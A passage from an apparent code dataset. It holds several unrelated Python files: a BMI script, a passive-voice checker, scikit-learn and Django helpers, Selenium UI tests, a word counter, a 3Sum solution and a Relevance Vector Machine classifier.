float(input(\"¿Cual es tu peso en Kilogramos?: \"))\ntalla = float(input(\"¿Cual es tu estatura en cc?: \"))\nimc = peso/(talla**2)\nprint(\"Hola ${} mucho gusto tu Indice de Masa Corporal es: ${}\".format(name, imc))\nprint(imc)\n\ndef evaluate_imc(imc):\n\tif(imc > 25):\n\t\treturn\"Estas en sobrepeso\"\n\telif(imc < 20):\n\t\treturn\"Estas por debajo de tu peso\"\n\telse:\n\t\treturn\"Estas en tu peso ideal\"\nresultado = evaluate_imc(imc)\nprint(resultado)\nif __name__ == '__main__':\n run()\n","sub_path":"funciones/masacorporal.py","file_name":"masacorporal.py","file_ext":"py","file_size_in_byte":548,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"484892505","text":"passiveWords = [\n 'awoken',\n 'been',\n 'born',\n 'beat',\n 'become',\n 'begun',\n 'bent',\n 'beset',\n 'bet',\n 'bid',\n 'bidden',\n 'bound',\n 'bitten',\n 'bled',\n 'blown',\n 'broken',\n 'bred',\n 'brought',\n 'broadcast',\n 'built',\n 'burnt',\n 'burst',\n 'bought',\n 'cast',\n 'caught',\n 'chosen',\n 'clung',\n 'come',\n 'cost',\n 'crept',\n 'cut',\n 'dealt',\n 'dug',\n 'dived',\n 'done',\n 'drawn',\n 'dreamt',\n 'driven',\n 'drunk',\n 'eaten',\n 'fallen',\n 'fed',\n 'felt',\n 'fought',\n 'found',\n 'fit',\n 'fled',\n 'flung',\n 'flown',\n 'forbidden',\n 'forgotten',\n 'foregone',\n 'forgiven',\n 'forsaken',\n 'frozen',\n 'gotten',\n 'given',\n 'gone',\n 'ground',\n 'grown',\n 'hung',\n 'heard',\n 'hidden',\n 'hit',\n 'held',\n 'hurt',\n 'kept',\n 'knelt',\n 'knit',\n 'known',\n 'laid',\n 'led',\n 'leapt',\n 'learnt',\n 'left',\n 'lent',\n 'let',\n 'lain',\n 'lighted',\n 'lost',\n 'made',\n 'meant',\n 'met',\n 'misspelt',\n 'mistaken',\n 'mown',\n 'overcome',\n 'overdone',\n 'overtaken',\n 'overthrown',\n 'paid',\n 'pled',\n 'proven',\n 'put',\n 'quit',\n 'read',\n 'rid',\n 'ridden',\n 'rung',\n 'risen',\n 'run',\n 'sawn',\n 'said',\n 'seen',\n 'sought',\n 'sold',\n 'sent',\n 'set',\n 'sewn',\n 'shaken',\n 'shaven',\n 'shorn',\n 'shed',\n 'shone',\n 'shod',\n 'shot',\n 'shown',\n 'shrunk',\n 'shut',\n 'sung',\n 'sunk',\n 'sat',\n 'slept',\n 'slain',\n 'slid',\n 'slung',\n 'slit',\n 'smitten',\n 'sown',\n 'spoken',\n 'sped',\n 'spent',\n 'spilt',\n 'spun',\n 'spit',\n 'split',\n 'spread',\n 'sprung',\n 'stood',\n 'stolen',\n 'stuck',\n 'stung',\n 'stunk',\n 'stridden',\n 'struck',\n 'strung',\n 'striven',\n 'sworn',\n 'swept',\n 'swollen',\n 'swum',\n 'swung',\n 'taken',\n 'taught',\n 'torn',\n 'told',\n 'thought',\n 'thrived',\n 'thrown',\n 'thrust',\n 'trodden',\n 'understood',\n 'upheld',\n 'upset',\n 'woken',\n 'worn',\n 'woven',\n 'wed',\n 'wept',\n 'wound',\n 'won',\n 'withheld',\n 'withstood',\n 'wrung',\n 'written'\n]\n\nexceptions = [\n 'indeed'\n]\n\nimport re\n\nre = re.compile('\\\\b(am|are|were|being|is|been|was|be)\\\\b\\\\s*([\\\\w]+ed|' + '|'.join(passiveWords) + ')\\\\b', flags=re.IGNORECASE)\n\ndef passiveCheck(text):\n suggestions = []\n match = re.search(text)\n while(match):\n matchString = match.group(0)\n index = match.start()\n offset = len(matchString)\n try:\n matchString.index(exceptions[0])\n except:\n suggestions.append([index, offset])\n match = re.search(text[index+offset:-1])\n return suggestions\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","sub_path":"lib/passive.py","file_name":"passive.py","file_ext":"py","file_size_in_byte":2888,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"121001548","text":"from sklearn.linear_model import BayesianRidge\nfrom hyperopt import hp\nfrom utils import definitions\nfrom .. import model, model_regression\n\nclass BayesianRidgeRegressor(model.Model, model_regression.ModelRegression):\n def __init__(self, _project_name):\n super().__init__(_project_name)\n self.model_name = 'BayesianRidgeRegressor'\n self.params_list = {}\n\n def getHyperParameterSpace(self):\n return {\n 'n_iter': hp.quniform('n_iter', 200, 400, 12), \n 'alpha_1': hp.uniform('alpha_1', 0, 1),\n 'alpha_2': hp.uniform('alpha_2', 0, 1),\n 'lambda_1': hp.uniform('lambda_1', 0, 1),\n 'lambda_2': hp.uniform('lambda_2', 0, 1),\n 'alpha_init': hp.uniform('alpha_init', 0, 1),\n 'lambda_init': hp.uniform('lambda_init', 0, 1),\n 'compute_score': hp.choice('compute_score', [False, True]),\n 'fit_intercept': hp.choice('fit_intercept', [False, True]),\n 'normalize': hp.choice('normalize', [False, True]),\n 'copy_X': hp.choice('copy_X', [False, True]),\n }\n\n def getModel(self, _params):\n return BayesianRidge(\n n_iter= int(_params['n_iter']),\n alpha_1 = _params['alpha_1'],\n alpha_2 = _params['alpha_2'],\n lambda_1 = _params['lambda_1'],\n lambda_2 = _params['lambda_2'], \n alpha_init= _params['alpha_init'],\n lambda_init = _params['lambda_init'],\n compute_score= _params['compute_score'],\n fit_intercept= _params['fit_intercept'],\n normalize= _params['normalize'],\n copy_X= _params['copy_X'], \n )\n\n def trainModel(self, x, y, _params):\n self.model = self.getModel(_params)\n self.model.fit(x, y)\n self.saveModel()\n \n def getPredictResult(self, x):\n return self.model.predict(x)\n\n","sub_path":"AutomlCore/build/lib/algorithms/regression/bayesian_ridge_r.py","file_name":"bayesian_ridge_r.py","file_ext":"py","file_size_in_byte":1721,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"535840054","text":"import skimage.morphology\n\nprediction_mask = (pred_np.squeeze() == 15)\n\n# Let's apply some morphological operations to\n# create the contour for our sticker\n\ncropped_object = image_np * np.dstack((prediction_mask,) * 3)\n\nsquare = skimage.morphology.square(5)\n\ntemp = skimage.morphology.binary_erosion(prediction_mask, square)\n\nnegative_mask = (temp != True)\n\neroding_countour = negative_mask * prediction_mask\n\neroding_countour_img = np.dstack((eroding_countour, ) * 3)\n\ncropped_object[eroding_countour_img] = 248\n\npng_transparancy_mask = np.uint8(prediction_mask * 255)\n\nimage_shape = cropped_object.shape\n\npng_array = np.zeros(shape=[image_shape[0], image_shape[1], 4], dtype=np.uint8)\n\npng_array[:, :, :3] = cropped_object\n\npng_array[:, :, 3] = png_transparancy_mask\n\nio.imshow(cropped_object)\n\nio.imsave('output_image.png', png_array)\n","sub_path":"Image Segmentation/tensorflow_notes-master/step2.py","file_name":"step2.py","file_ext":"py","file_size_in_byte":838,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"330348764","text":"import pytest\nimport time\nimport random\n\nclass TestClassPrRequest_not_logged():\n @pytest.fixture(autouse=True)\n def _request_signup_page(self, pr_notlogged, app_test_users):\n self.app = pr_notlogged\n self.app.user_creator = app_test_users.user_creator\n self.app.user_student = app_test_users.user_student\n self.pr = pr_notlogged.request_project\n\n\n def test_WHEN_choose_every_subcategory_EXPECTED_requests_lrkated_to_subcategory_TC6220(self, pr_notlogged):\n dict_of_subcategories = self.app.request_project.get_list_of_sub_cat()\n assert self.app.request_project.requests_are_related_to_sub_categories(dict_of_subcategories)\n\n def test_WHEN_requests_button_is_pressed_EXPECTED_project_requests_scr_opens_TC6200(self):\n self.app.home_el.logout_go_home_and_wait()\n self.app.home_el.button_learnondemand_click()\n self.app.live.navigation_button_press('Requests')\n assert self.app.request_project.screen_project_requests_is_displayed()\n\n def test_WHEN_requests_screen_opened_EXPECTED_5_sections_presented_TC6205(self):\n elts_dct = {}\n elts_dct['main_menu_section'] = self.pr.main_menu_section_is_displayed()\n elts_dct['filters_section'] = self.pr.filters_section_is_displayed()\n elts_dct['requests_list_section'] = self.pr.requests_list_section_is_displayed()\n elts_dct['instruction_section'] = self.pr.instruction_section_is_presented()\n #elts_dct['pagination_section'] = self.app.request_project.pagination_section_is_presented()\n assert all(elts_dct.values())\n\n def test_WHEN_requests_screen_opened_EXPECTED_5_elements_in_filters_TC6210(self):\n elts_dct = {}\n main_cat_filters = ['All', 'Programming', 'Game development', 'Data science', 'Design',\n 'Artificial intelligence', 'CryptoCurrency', 'VR & AR', 'Cybersecurity']\n\n elts_dct['main_cat_filters'] = self.pr.main_cat_filters_is_presented(main_cat_filters)\n elts_dct['subcategory_filters'] = self.pr.subcategory_filters_is_presented()\n elts_dct['popularity_latest_sorting'] = self.pr.sort_filter_is_presented('Most Popular')\n elts_dct['difficulty_filter'] = self.pr.sort_filter_is_presented('Difficulty')\n elts_dct['language_filter'] = self.pr.sort_filter_is_presented('Language')\n for x in elts_dct.values():\n assert x is True\n\n def test_WHEN_main_category_selected_EXPECTED_all_request_relatred_to_selected_category_TC6215(self):\n assert self.pr.list_of_requests_related_to_each_selected_category()\n\n\n def test_WHEN_maincategory_and_subcat_selected_EXPECTED_project_requests_are_proper_TC6222(self, pr_notlogged):\n main_cat = 'Programming'\n sub_cat = 'Python'\n assert self.pr.all_requests_related_to_sub_and_main_cat(main_cat, sub_cat)\n\n\n def test_WHEN_subcategory_is_selected_EXPECTED_x_button_is_presented_TC6223(self, pr_notlogged):\n self.pr.select_and_enter_random_subcategory()\n assert self.pr.close_x_button_is_presented(self.app.request_project.buttons_in_filter)\n\n def test_WHEN_subcategory_is_selected_and_x_pressed_EXPECTED_filter_is_reseted_TC6223(self, pr_notlogged):\n filter = self.pr.get_filter_by_text('Choose a category')\n self.pr.select_and_enter_random_subcategory()\n self.pr.close_x_button_click(filter, self.pr.sub_cat_filter)\n assert not self.pr.close_x_button_is_presented(self.pr.buttons_in_filter)\n\n def test_WHEN_sorting_by_popularity_is_selected_EXPECTED_items_are_sorted_TC6225(self, pr_notlogged):\n self.pr.select_value_in_right_filters(0, 'Most Popular') #0=Popular/New 1=Difficulty 2=Language\n assert self.pr.list_of_requests_sorted_by_popularity()\n\n def test_WHEN_sorting_by_latest_is_selected_EXPECTED_items_are_sorted_TC6226(self, pr_notlogged):\n self.pr.select_value_in_right_filters(0, 'Latest') #0=Popular/New 1=Difficulty 2=Language\n assert self.pr.list_of_requests_sorted_by_latest()\n\n def test_WHEN_filter_by_difficulty_is_selected_EXPECTED_items_are_filtered_TC6231(self, pr_notlogged):\n self.pr.select_value_in_right_filters(1, 'Beginner')\n list_api = self.pr.get_list_of_requests_by_api(difficulty=1)\n assert self.pr.list_of_pr_req_related_to_api_list(list_api)\n\n def test_WHEN_diffic_is_selected_and_x_pressed_EXPECTED_filter_is_reseted_TC6232(\n self, pr_notlogged):\n\n filter_d = self.pr.get_difficulty_filter()\n button = self.pr.select_value_in_right_filters(1, 'Beginner')\n self.pr.close_x_button_click(filter_d, button, 1) #1 if click of element (not locator)\n assert not self.pr.close_x_button_is_presented(self.pr.buttons_in_filter, filter_d)\n\n def test_WHEN_filter_by_language_is_selected_EXPECTED_items_are_filtered_TC6231(\n self, pr_notlogged):\n\n self.pr.select_value_in_right_filters(2, 'English')\n list_api = self.pr.get_list_of_requests_by_api(language='en') #english\n assert self.pr.list_of_pr_req_related_to_api_list(list_api)\n\n def test_WHEN_lang_is_selected_and_x_pressed_EXPECTED_filter_is_reseted_TC6232(self, pr_notlogged):\n filter_l = self.pr.get_language_filter()\n button = self.pr.select_value_in_right_filters(2, 'English')\n self.pr.close_x_button_click(filter_l, button, 1) #1 if click of element (not locator)\n assert not self.pr.close_x_button_is_presented(self.pr.buttons_in_filter, filter_l)\n\n\n def test_WHEN_several_filters_are_selected_EXPECTED_items_are_filtered_TC6231(self, pr_notlogged):\n self.pr.select_value_in_right_filters(2, 'English')\n self.pr.select_value_in_right_filters(1, 'Beginner')\n list_api = self.pr.get_list_of_requests_by_api(language='en', difficulty=1) # english\n assert self.pr.list_of_pr_req_related_to_api_list(list_api)\n\n def test_WHEN_user_is_not_logged_EXPECTED_elements_in_pr_correct_TC6252(self, pr_notlogged):\n elts_dct = {}\n elts_dct['likes_counter'] = self.pr.pr_element_is_displayed_in_each(\n self.pr.likes_button)\n elts_dct['likes_button'] = self.pr.pr_element_is_displayed_in_each(\n self.pr.likes_counter)\n elts_dct['title'] = self.pr.pr_element_is_displayed_in_each(\n self.pr.project_request_titles)\n elts_dct['description'] = self.pr.pr_element_is_displayed_in_each(\n self.pr.description_of_pr)\n elts_dct['language'] = self.pr.pr_element_is_displayed_in_each(\n self.pr.language_title)\n elts_dct['subcategory_icon'] = self.pr.pr_element_is_displayed_in_each(\n self.pr.subcategory_icon)\n elts_dct['name_of_creator'] = self.pr.pr_element_is_displayed_in_each(\n self.pr.creator_name)\n elts_dct['creation_date'] = self.pr.pr_element_is_displayed_in_each(\n self.pr.date_of_proj_request)\n\n\n assert all(elts_dct.values())\nclass TestClassPrRequest_student():\n @pytest.fixture(autouse=True)\n def _request_signup_page(self, pr_student, app_test_users):\n self.app = pr_student\n self.app.user_creator = app_test_users.user_creator\n self.app.user_student = app_test_users.user_student\n self.pr = pr_student.request_project\n\n def test_WHEN_student_is_logged_EXPECTED_elements_in_pr_correct_TC6250(self, pr_student):\n elts_dct = {}\n elts_dct['likes_counter'] = self.pr.pr_element_is_displayed_in_each(\n self.pr.likes_button)\n elts_dct['likes_button'] = self.pr.pr_element_is_displayed_in_each(\n self.pr.likes_counter)\n elts_dct['title'] = self.pr.pr_element_is_displayed_in_each(\n self.pr.project_request_titles)\n elts_dct['description'] = self.pr.pr_element_is_displayed_in_each(\n self.pr.description_of_pr)\n elts_dct['language'] = self.pr.pr_element_is_displayed_in_each(\n self.pr.language_title)\n elts_dct['subcategory_icon'] = self.pr.pr_element_is_displayed_in_each(\n self.pr.subcategory_icon)\n elts_dct['name_of_creator'] = self.pr.pr_element_is_displayed_in_each(\n self.pr.creator_name)\n elts_dct['creation_date'] = self.pr.pr_element_is_displayed_in_each(\n self.pr.date_of_proj_request)\n\n\n assert all(elts_dct.values())\n\n def test_WHEN_student_pressed_likes_button_EXPECTED_counter_is_increased_TC6260(self, pr_student):\n counter_value = self.pr.get_counter_of_likes(0)\n self.pr.press_likes_button(0)\n time.sleep(3)\n counter_value_after = self.pr.get_counter_of_likes(0)\n assert counter_value + 1 == counter_value_after\n\n def test_WHEN_student_is_logged_EXPECTED_make_section_is_correct_TC6290(self, pr_student):\n elts_dct = {}\n elts_dct['icon_of_section'] = self.pr.pr_element_is_displayed_in_each(\n self.pr.make_section_icon)\n elts_dct['make your own request'] = self.pr.pr_element_is_displayed_in_each(\n self.pr.request_project_button)\n elts_dct['text'] = self.pr.pr_element_is_displayed_in_each(\n self.pr.make_section_text)\n elts_dct['title'] = self.pr.pr_element_is_displayed_in_each(\n self.pr.make_section_title)\n assert all(elts_dct.values())\n\n def test_WHEN_request_project_button_pressed_EXPECTED_rp_popup_appears_TC6292(self, pr_student):\n self.app.general.but_press(self.pr.request_project_button)\n assert self.app.general.el_is_displayed(self.pr.pr_popup)\n\n def test_WHEN_pr_popup_opens_EXPECTED_fileds_are_correct_TC6300(self, pr_student):\n self.app.general.but_press(self.pr.request_project_button)\n elts_dct = {}\n elts_dct['main title'] = self.pr.pr_element_is_displayed_in_each(\n self.pr.pr_popup_main_title)\n elts_dct['close_x_button'] = self.pr.pr_element_is_displayed_in_each(\n self.pr.close_popup_button)\n elts_dct['pr name'] = self.pr.pr_element_is_displayed_in_each(\n self.pr.pr_popup_pname)\n elts_dct['choose a category, difficulty, language'] = self.pr.pr_element_is_displayed_in_each(\n self.pr.pr_popup_cat_dif_lang)\n elts_dct['choose a subcategory'] = self.pr.pr_element_is_displayed_in_each(\n self.pr.pr_popup_subcategory)\n elts_dct['describe your idea'] = self.pr.pr_element_is_displayed_in_each(\n self.pr.pr_popup_description)\n elts_dct['submit request'] = self.pr.pr_element_is_displayed_in_each(\n self.pr.pr_popup_submit_button)\n assert all(elts_dct.values())\n\n def test_WHEN_x_button_pressed_in_popup_EXPECTED_pr_popup_closed_TC6301(self, pr_student):\n self.app.general.but_press(self.pr.request_project_button)\n self.app.general.but_press(self.pr.close_popup_button)\n assert not self.app.general.el_is_presented(self.pr.pr_popup)\n\n def _test_WHEN_all_fields_filled_in_prpopup_EXPECTED_pr_is_saved(self, pr_student):\n random_pr = self.pr.get_random_pr_data()\n self.app.general.but_press(self.pr.request_project_button)\n self.app.general.send_k(self.pr.pr_popup_pname, random_pr['pr_name'])\n self.app.general.send_k(self.pr.pr_popup_description, random_pr['description'])\n self.pr.choose_value_on_popup(random_pr, 'Choose a topic')\n\n self.app.general.but_press(self.pr.pr_popup_submit_button)\n assert not self.app.general.el_is_presented(self.pr.pr_popup)\n\n\n\nclass TestClassPrRequest_creator():\n @pytest.fixture(autouse=True)\n def _request_signup_page(self, pr_creator, app_test_users):\n self.app = pr_creator\n self.app.user_creator = app_test_users.user_creator\n self.app.user_student = app_test_users.user_student\n self.pr = pr_creator.request_project\n\n\n\n def test_WHEN_creator_is_logged_EXPECTED_elements_in_pr_correct_TC6251(self, pr_creator):\n elts_dct = {}\n elts_dct['likes_counter'] = self.pr.pr_element_is_displayed_in_each(\n self.pr.likes_button)\n elts_dct['likes_button'] = self.pr.pr_element_is_displayed_in_each(\n self.pr.likes_counter)\n elts_dct['title'] = self.pr.pr_element_is_displayed_in_each(\n self.pr.project_request_titles)\n elts_dct['description'] = self.pr.pr_element_is_displayed_in_each(\n self.pr.description_of_pr)\n elts_dct['language'] = self.pr.pr_element_is_displayed_in_each(\n self.pr.language_title)\n elts_dct['subcategory_icon'] = self.pr.pr_element_is_displayed_in_each(\n self.pr.subcategory_icon)\n elts_dct['name_of_creator'] = self.pr.pr_element_is_displayed_in_each(\n self.pr.creator_name)\n elts_dct['creation_date'] = self.pr.pr_element_is_displayed_in_each(\n self.pr.date_of_proj_request)\n elts_dct['create_project'] = self.pr.pr_element_is_displayed_in_each(\n self.pr.create_this_project)\n\n\n assert all(elts_dct.values())\n\n def test_WHEN_create_project_button_is_pressed_EXPECTED_creation_is_started_TC6275(self, pr_creator):\n self.pr.press_random_create_this_proj_button()\n assert self.app.general.get_txt_of_el(self.pr.main_title) == 'CREATE PROJECT'\n\n def test_WHEN_creator_is_logged_EXPECTED_make_section_is_correct_TC6291(self, pr_creator):\n elts_dct = {}\n elts_dct['icon_of_section'] = self.pr.pr_element_is_displayed_in_each(\n self.pr.make_section_icon)\n elts_dct['text'] = self.pr.pr_element_is_displayed_in_each(\n self.pr.make_section_text)\n elts_dct['title'] = self.pr.pr_element_is_displayed_in_each(\n self.pr.make_section_title)\n assert all(elts_dct.values())\n\n","sub_path":"tests/test_project_requests.py","file_name":"test_project_requests.py","file_ext":"py","file_size_in_byte":13737,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"589288589","text":"\"\"\"\r\nwcount.py:输入相应的参数后返回相应的网址中的出现频率位于前n位的字符及其出现次数。\r\n\r\n\r\n__author__=\"wengpeiyi\"\r\n__pkuid__=\"1800011749\"\r\n__email__=\"594592395@qq.com\"\r\n\"\"\"\r\n\r\n\r\nimport sys\r\nfrom urllib.request import urlopen\r\n\r\n\r\ndef wcount(lines, topn):\r\n \"\"\"count words from lines of text string, then sort by their counts\r\n in reverse order, output the topn (word count), each in one line. \r\n \"\"\"\r\n for i in range(len(lines)):\r\n if lines[i].isalpha() == False:\r\n lines = lines.replace(lines[i], \" \")\r\n lines = lines.lower()\r\n lines = lines.split()\r\n \r\n d = {}\r\n for i in range(len(lines)):\r\n if not lines[i] in d:\r\n d[lines[i]] = 1;\r\n if lines[i] in d:\r\n d[lines[i]] += 1\r\n #字典计数\r\n s = d.items()\r\n t = []\r\n for i in s:\r\n t.append(i)\r\n \r\n ans = sorted(t, key=lambda x: x[1], reverse=True)\r\n if topn <= len(ans):\r\n ans = ans[:topn]\r\n for i in ans:\r\n print(i[0], \" \", i[1])\r\n\r\n pass\r\n\r\n\r\nif __name__ == '__main__':\r\n\r\n if len(sys.argv) == 1:\r\n #用户需要输入url程序才能运行\r\n print('Usage: {} url [topn]'.format(sys.argv[0]))\r\n print(' url: URL of the txt file to analyze ')\r\n print(' topn: how many (words count) to output. If not given, will output top 10 words')\r\n sys.exit(1)\r\n elif len(sys.argv) == 2:\r\n #只输入网址，默认输出前十位\r\n address = \"\"\r\n address += sys.argv[1]\r\n try:\r\n doc = urlopen(address)\r\n docstr = doc.read()\r\n doc.close()\r\n lines = docstr.decode()\r\n wcount(lines, 10)\r\n except OSError:\r\n print(\"Sorry, 404: not Found\")\r\n \r\n elif len(sys.argv) == 3:\r\n address = \"\"\r\n address += sys.argv[1]\r\n doc = urlopen(address)\r\n docstr = doc.read()\r\n doc.close()\r\n lines = docstr.decode()\r\n n = int(sys.argv[2])/2\r\n wcount(lines, int(n))\r\n else:\r\n #最多只允许输出3个参数\r\n print(\"Sorry, invalid input. \")\r\n print(\"Only 2 parameters are allowed.\")\r\n","sub_path":"pyassign4/wcount.py","file_name":"wcount.py","file_ext":"py","file_size_in_byte":2204,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"144799626","text":"\"\"\"\nGiven an array nums of n integers and an integer target, find three integers in nums such that the sum is closest to target. \nReturn the sum of the three integers. You may assume that each input would have exactly one solution.\n\nExample:\n\nGiven array nums = [-1, 2, 1, -4], and target = 1.\n\nThe sum that is closest to the target is 2. (-1 + 2 + 1 = 2).\n\"\"\"\n\nclass Solution(object):\n def threeSumClosest(self, nums, target):\n \"\"\"\n :type nums: List[int]\n :type target: int\n :rtype: int\n \"\"\"\n if not nums or len(nums) < 3:\n return []\n \n # First sort the array (nlogn)\n nums = sorted(nums)\n \n closest_sum = None\n min_distance = None\n\n # For each element, search the pair that adds to 0 with itself.\n for i in xrange(0, len(nums)-2): #(nlogn)\n start = i+1\n end = len(nums) -1\n while start < end:\n cur_sum = nums[i] + nums[start] + nums[end]\n cur_distance = abs(target-cur_sum)\n if cur_sum == target:\n return cur_sum\n if not min_distance or min_distance > cur_distance:\n min_distance = cur_distance\n closest_sum = cur_sum\n if cur_sum < target:\n start += 1\n else:\n end -= 1\n return closest_sum\n","sub_path":"3sum_closest.py","file_name":"3sum_closest.py","file_ext":"py","file_size_in_byte":1429,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"419342538","text":"from django.test import TestCase\nfrom datetime import date\n\n# Create your tests here.\nfrom django.urls import reverse\nfrom rest_framework.test import APITestCase, APIClient\nfrom rest_framework.views import status\nfrom .models import Blogposts\nfrom .serializers import BlogpostsSerializer\n\n# tests for views\n\n\nclass BaseViewTest(APITestCase):\n client = APIClient()\n\n @staticmethod\n def create_blogpost(title=\"\", body=\"\", media_url=\"\", author_id=1, posted_on=date.today()):\n if title != \"\" and body != \"\": #media_link should be optional\n Blogposts.objects.create(title=title, body=body, media_url=media_url, posted_on=posted_on)\n\n def setUp(self):\n # add test data\n self.create_blogpost(\"5 dishes to try\", \"spaghetti spaghetti spaghetti spaghetti spaghetti\", 1, date.today())\n self.create_blogpost(\"blatant clickbait\", \"find out more!\", 2, date.today())\n self.create_blogpost(\"talking to americans\", \"bring up politics and religion right away!\", 3, date.today())\n self.create_blogpost(\"title\", \"body\", \"media_url\", 4, date.today())\n\n\nclass GetAllBlogpostsTest(BaseViewTest):\n\n def test_get_all_blogposts(self):\n \"\"\"\n This test ensures that all songs added in the setUp method\n exist when we make a GET request to the songs/ endpoint\n \"\"\"\n # hit the API endpoint\n response = self.client.get(\n reverse(\"blogposts-all\", kwargs={\"version\": \"v1\"})\n )\n # fetch the data from db\n expected = Blogposts.objects.all()\n serialized = BlogpostsSerializer(expected, many=True)\n self.assertEqual(response.data, serialized.data)\n self.assertEqual(response.status_code, status.HTTP_200_OK)","sub_path":"api/blogpost/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":1733,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"470155509","text":"from pydux.create_store import create_store\nfrom functools import reduce\n\n\ndef assign(*args):\n return reduce(lambda acc, x: acc.update(x) or acc, args, {})\n\n\ndef mylistener(*args, **kwargs):\n print('mylistener', args, kwargs)\n\n\ndef todo_reducer(state, action):\n if not state:\n return {'todos': []}\n if action['type'] == 'ADD_TODO':\n return assign(state, {\n 'foo': 'bar'\n })\n else:\n return state\n\n\nstore = create_store(todo_reducer)\nstore.subscribe(mylistener)\na = store.dispatch({'type': 'ADD_TODO'})\nprint('state:', store['get_state']())\nprint(a)\na = store.dispatch({'type': 'ADD_TODO'})\n# a = {'asdf': 1234}\n# b = {'asdf': 3456}\n#\n# print(assign(a,b))\n# print(a)\n# print(b)\n\n","sub_path":"gooey/examples/testingpydux.py","file_name":"testingpydux.py","file_ext":"py","file_size_in_byte":731,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"301031024","text":"import numpy as np\nimport h5py\nimport matplotlib.pyplot as plt\nfrom sklearn.svm import SVC\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.model_selection import cross_val_score\nfrom sklearn.kernel_approximation import RBFSampler\n\n\n# Relevance Vector Machine Classifier using EM algorithm by Michael E. Tipping.\n### This is a python implementation of Relevance Vector Machine Classifier, it's based on github.com/ctgk/PRML/blob/master/prml/kernel/relevance_vector_classifier.py\nclass RVC:\n def sigmoid(self,a):\n return np.tanh(a * 0.5) * 0.5 + 0.5\n\n # Kernel matrix using rbf kernel with gamma = 0.3.\n def kernel_mat(self,X, Y):\n (x, y) = (np.tile(X, (len(Y), 1, 1)).transpose(1, 0, 2),\n np.tile(Y, (len(X), 1, 1)))\n d = np.repeat(1 / (0.3 * 0.3), X.shape[-1]) * (x - y) ** 2\n return np.exp(-0.5 * np.sum(d, axis=-1))\n def __init__(self, alpha=1.):\n self.threshold_alpha = 1e8\n self.alpha = alpha\n self.iter_max = 100\n self.relevance_vectors_ = []\n\n # estimates for singulat matrices.\n def ps_inv(self, m):\n # assuming it is a square matrix.\n a = m.shape[0]\n i = np.eye(a, a)\n return np.linalg.lstsq(m, i, rcond=None)[0]\n\n '''\n For the current fixed values of alpha, the most probable\n weights are found by maximizing w over p(w/t,alpha) \n using the Laplace approximation of finding an hessian.\n (E step)\n w = mean of p(w/t,alpha)\n cov = negative hessian of p(w/t,alpha)\n \n '''\n def _map_estimate(self, X, t, w, n_iter=10):\n for _ in range(n_iter):\n y = self.sigmoid(X @ w)\n g = X.T @ (y - t) + self.alpha * w\n H = (X.T * y * (1 - y)) @ X + np.diag(self.alpha) # negated Hessian of p(w/t,alpha)\n w -= np.linalg.lstsq(H, g, rcond=None)[0] # works even if for singular matrices.\n return w, self.ps_inv(H) # inverse of H is the covariance of the gaussian approximation.\n\n '''\n Fitting of input-target pairs works by\n iteratively finding the most probable weights(done by _map_estimate method)\n and optimizing the hyperparameters(alpha) until there is no\n siginificant change in alpha.\n \n (M step)\n Optimizing alpha:\n For the given targets and current variance(sigma^2) alpha is optimized over p(t/alpha,variance)\n It is done by Mackay approach(ARD).\n alpha(new) = gamma/mean^2\n where gamma = 1 - alpha(old)*covariance.\n \n After finding the hyperparameters(alpha),\n the samples which have alpha less than the threshold(hence weight >> 0)\n are choosen as relevant vectors.\n \n Now predicted y = sign(phi(X) @ mean) ( mean contains the optimal weights)\n '''\n def fit(self, X, y):\n Phi = self.kernel_mat(X, X)\n N = len(y)\n self.alpha = np.zeros(N) + self.alpha\n mean = np.zeros(N)\n for i in range(self.iter_max):\n param = np.copy(self.alpha)\n mean, cov = self._map_estimate(Phi, y, mean, 10)\n gamma = 1 - self.alpha * np.diag(cov)\n self.alpha = gamma / np.square(mean)\n np.clip(self.alpha, 0, 1e10, out=self.alpha)\n if np.allclose(param, self.alpha):\n break\n\n ret_alpha = self.alpha < self.threshold_alpha\n self.relevance_vectors_ = X[ret_alpha]\n self.y = y[ret_alpha]\n self.alpha = self.alpha[ret_alpha]\n Phi = self.kernel_mat(self.relevance_vectors_, self.relevance_vectors_)\n mean = mean[ret_alpha]\n self.mean, self.covariance = self._map_estimate(Phi, self.y, mean, 100)\n\n\n # gives probability for target to be class 0.\n def predict_proba(self, X):\n phi = self.kernel_mat(X, self.relevance_vectors_)\n mu_a = phi @ self.mean\n var_a = np.sum(phi @ self.covariance * phi, axis=1)\n return 1 - self.sigmoid(mu_a / np.sqrt(1 + np.pi * var_a / 8))\n\n def predict(self, X):\n phi = self.kernel_mat(X, self.relevance_vectors_)\n return (phi @ self.mean > 0).astype(np.int)\n\n\n# scipy.io loadmat doesn't seem to be accept the version of this data file\ndata = {}\nwith h5py.File('/pyprobml/data/bishop2class.mat', 'r') as f:\n for name, d in f.items():\n data[name] = np.array(d)\n\nX = data['X'].transpose()\nY = data['Y']\ny = Y.flatten()\ny = y - 1 # changing to {0,1}\n\n# Feature Mapping X to rbf_features to simulate non-linear logreg using linear ones.\nrbf_feature = RBFSampler(gamma=0.3, random_state=1)\nX_rbf = rbf_feature.fit_transform(X)\n\n# Using CV to find SVM regularization parameter.\nC = np.power(2, np.linspace(-5, 5, 10))\nmean_scores = [cross_val_score(SVC(kernel='rbf', gamma=0.3, C=c), X, y, cv=5).mean() for c in C]\nc = C[np.argmax(mean_scores)]\n\nclassifiers = {\n 'logregL2': LogisticRegression(C=0.2, penalty='l2',\n solver='saga',\n multi_class='ovr',\n max_iter=10000),\n 'logregL1': LogisticRegression(C=1, 